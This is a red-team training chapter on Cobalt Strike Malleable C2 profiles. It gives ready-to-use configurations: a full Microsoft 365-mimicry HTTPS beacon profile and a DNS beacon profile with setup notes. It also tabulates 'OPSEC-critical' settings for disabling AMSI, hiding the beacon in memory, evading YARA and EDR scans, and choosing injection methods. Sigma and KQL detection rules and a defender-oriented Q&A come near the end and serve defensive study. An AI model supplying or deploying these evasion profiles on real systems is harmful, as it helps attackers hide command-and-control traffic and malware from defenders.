Malleable C2 Profiles
Malleable C2 is Cobalt Strike's configuration language for reshaping every aspect of beacon network traffic: HTTP headers, URIs, cookies, data transforms, jitter, process injection behavior, and post-exploitation spawning. A well-crafted profile makes beacon traffic indistinguishable from a known legitimate application. This chapter covers profile anatomy, a full O365-mimicry HTTPS profile, a DNS beacon profile, and the settings that most directly affect detection.
Network inspection at the target logs all HTTP/HTTPS URIs, host headers, and user-agents. The default Cobalt Strike profile uses /submit.php and Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1) — both flagged immediately by the existing Suricata rules. You need a profile that produces beacon traffic that exactly matches the observed pattern of the target's own Microsoft 365 clients making authentication and telemetry requests.
What a Malleable Profile Controls
Profile Anatomy — Key DSL Constructs
# Malleable profile syntax overview
set sleeptime "60000"; # 60 seconds between checkins
set jitter "25"; # ±25% jitter on sleep
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set data_jitter "64"; # pad responses with up to 64 random bytes
# http-get: beacon checks in (no task = empty 200)
http-get {
set uri "/MicrosoftAjax.ashx?v=1";
client {
header "Accept" "*/*";
header "Accept-Language" "en-US,en;q=0.9";
header "Cache-Control" "no-cache";
metadata {
base64url; # transform beacon metadata
prepend "OIDC="; # looks like an OIDC token cookie
header "Cookie"; # place result in Cookie header
}
}
server {
header "Content-Type" "application/javascript";
header "X-Content-Type-Options" "nosniff";
output {
mask;
base64url;
prepend "var _cache = '";
append "';";
print;
}
}
}
# http-post: beacon sends task results back
http-post {
set uri "/MicrosoftAjax.ashx?v=2";
client {
header "Content-Type" "application/x-www-form-urlencoded";
id {
base64url;
parameter "__RequestVerificationToken"; # CSRF token lookalike
}
output {
base64url;
parameter "data";
}
}
server {
header "Content-Type" "text/plain";
output { print; }
}
}
Full HTTPS Profile: O365 Mimicry
# Full O365-style Cobalt Strike profile
# Mimics Microsoft 365 authentication polling traffic
set sleeptime "45000";
set jitter "30";
set maxdns "255";
set data_jitter "50";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0";
# Real cert — import from Let's Encrypt for your redir domain
https-certificate {
set keystore "/opt/c2/redir.yourdomain.com.store";
set password "changeme";
}
http-get {
set uri "/common/oauth2/v2.0/token /login/microsoft.com/insecure /msal/token"; # pick randomly
client {
header "Accept" "application/json, text/plain, */*";
header "Accept-Encoding" "gzip, deflate, br";
header "Accept-Language" "en-US,en;q=0.9";
header "Origin" "https://login.microsoftonline.com";
header "Referer" "https://login.microsoftonline.com/";
header "Sec-Fetch-Site" "same-site";
header "Sec-Fetch-Mode" "cors";
header "Sec-Fetch-Dest" "empty";
metadata {
base64;
prepend "client_assertion=";
append "&grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer";
uri-append; # appended as query string to the URI
}
}
server {
header "Content-Type" "application/json; charset=utf-8";
header "Cache-Control" "no-store, no-cache";
header "X-Content-Type-Options" "nosniff";
output {
mask;
base64;
prepend "{\"token_type\":\"Bearer\",\"access_token\":\"";
append "\",\"expires_in\":3600}";
print;
}
}
}
http-post {
set uri "/common/oauth2/v2.0/token";
set verb "POST";
client {
header "Content-Type" "application/x-www-form-urlencoded";
header "Origin" "https://login.microsoftonline.com";
id {
base64;
prepend "client_id=";
append "&";
print;
}
output {
base64;
prepend "grant_type=authorization_code&code=";
print;
}
}
server {
header "Content-Type" "application/json";
output { print; }
}
}
stage {
set userwx "false"; # RX only after writing — no RWX regions
set obfuscate "true"; # obfuscate beacon in-memory while sleeping
set cleanup "true"; # clean up DLL reflective loader after injection
set stomppe "true"; # change PE headers in memory to look like different binary
set smartinject "true"; # module stomping: place beacon inside existing DLL mapping
}
process-inject {
set startrwx "false";
set userwx "false";
set allocator "NtMapViewOfSection"; # avoids VirtualAllocEx in remote process
execute {
CreateThread "ntdll!RtlUserThreadStart"; # indirect thread
NtQueueApcThread-s; # special APC: self-injection
CreateRemoteThread; # fallback
RtlCreateUserThread;
}
}
post-ex {
set spawnto_x64 "%windir%\\sysnative\\WerFault.exe -u -p 1234 -s 60";
set spawnto_x86 "%windir%\\syswow64\\WerFault.exe -u -p 1234 -s 60";
set obfuscate "true";
set smartinject "true";
set amsi_disable "true";
}
DNS Beacon Profile
# DNS beacon: C2 over DNS TXT/A records — useful when HTTP/HTTPS egress is blocked
dns-beacon {
set dns_idle "8.8.4.4"; # "no task" response IP (use a legitimate resolver)
set dns_sleep "0";
set dns_ttl "0"; # 0 = force resolver to re-query every time
set maxdns "255"; # max subdomain length for encoded data
set dns_stager_prepend "_sub."; # subdomain prefix for stager stage requests
set dns_stager_subhost ".stage"; # subdomain for staging channel
# All DNS beacon queries will look like:
# <encoded-data>.c2.yourdomain.com (A record — checkin)
# <encoded-data>.c2.yourdomain.com (TXT record — task response)
}
# NS record setup required:
# c2.yourdomain.com. IN NS ns1.teamserver-domain.com.
# Teamserver handles DNS queries for the c2 subdomain directly.
# Ensure teamserver port 53 UDP/TCP is open to internet.
# Operational characteristics:
# - Very slow (2-4KB/s typical) — large downloads impractical
# - High latency (DNS round-trips, TTL caching)
# - Egress: TCP/UDP 53 allowed at most firewalls
# - Detection: unusual subdomain patterns, high DNS query rate to unknown NS
OPSEC-Critical Malleable Profile Settings
| Setting | Safe value | Dangerous default | Why it matters |
|---|---|---|---|
stage.userwx | false (RX only) | true (RWX) | RWX private memory is the #1 EDR memory scan target |
stage.obfuscate | true | false | Beacon headers visible in memory scans if false |
stage.stomppe | true | false | Overwrites beacon PE headers — defeats YARA header scans |
post-ex.spawnto_x64 | WerFault.exe / RuntimeBroker.exe | rundll32.exe | Default rundll32 spawning is a well-known IOC |
process-inject.allocator | NtMapViewOfSection | VirtualAllocEx | Section-backed injection avoids WPM cross-process write |
post-ex.amsi_disable | true | false | AMSI fires on post-ex assemblies (execute-assembly) |
sleeptime | 45000–120000 ms | 60000 ms exactly | Exact 60s interval is a well-known Cobalt Strike IOC |
dns_idle | Legitimate resolver IP | 0.0.0.0 | 0.0.0.0 response fingerprints DNS beacon immediately |
Detection Engineering
title: Cobalt Strike Default Profile URIs
logsource:
product: windows
category: proxy
detection:
selection:
cs-uri-stem|contains:
- '/submit.php'
- '/ca'
- '/__utm.gif'
- '/cx'
cs-user-agent|contains:
- 'MSIE 9.0; Windows NT 6.1'
- 'MSIE 7.0; Windows NT 5.1'
condition: selection
level: critical
tags: [attack.command_and_control, T1071.001]
title: DNS Beacon — High-Rate Subdomain Queries to Single Nameserver
logsource:
product: zeek
service: dns
detection:
selection:
qtype_name: 'A'
timeframe: 1m
condition: selection | count(query) by id.orig_h, answers > 30
level: medium
-- MDE KQL: detect WerFault spawned without a real crash report (CS spawnto IOC)
DeviceProcessEvents
| where FileName =~ "WerFault.exe"
| where ProcessCommandLine !has "-u -p" // legitimate crash reports include -u -p PID
or ProcessCommandLine has "-p 1234" // hardcoded PID from CS default template
| where InitiatingProcessFileName !in~ ("svchost.exe", "WerSvc.dll")
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessFileName
Q&A
If malleable C2 can make beacon traffic look like any legitimate application, why is it still detected by mature SOCs?
A malleable profile controls the shape of network traffic but not the behavioral context around it. Mature SOC detection pivots to three dimensions that a profile cannot fake.
First, TLS certificate analysis. Even if a profile mimics O365 headers perfectly, the TLS certificate on the redirector will not match Microsoft's certificate. Modern enterprise proxies with TLS inspection see the real cert and compare CN, issuer chain, and pinned public key against expected values. A Let's Encrypt cert for login-microsoftonline.com.redir.example.com triggers category mismatch. Defenders specifically hunt for: certificates where the Subject CN contains Microsoft product names but the certificate is not signed by Microsoft's PKI or a major commercial CA.
Second, behavioral regularity vs. human browsing patterns. A malleable profile that mimics O365 authentication requests will still produce traffic every 45–60 seconds from a process like svchost.exe — not from a browser, not triggered by user clicks, not accompanied by correlated DNS lookups for related hostnames (outlook.office365.com, graph.microsoft.com), not using the browser's cookie store. A SOC analyst examining the full network context sees a single process making identical authentication-shaped requests like clockwork to one IP, with no associated mail or file access activity. Real O365 authentication is bursty, correlated with Outlook opens, and accompanied by dozens of other Microsoft endpoints.
Third, memory forensics and EDR telemetry. Even with stage.obfuscate true and stomppe true, the beacon DLL must eventually be RX-mapped in a process. EDRs that perform periodic memory scanning (not just at allocation time) will eventually encounter the beacon's in-memory beacon signature — especially post-ex artifacts in sacrificial processes. The post-ex.spawnto setting matters here: if WerFault.exe consistently spawns network connections immediately after being launched with non-standard arguments, the correlation is flagged even if the individual events are not individually suspicious.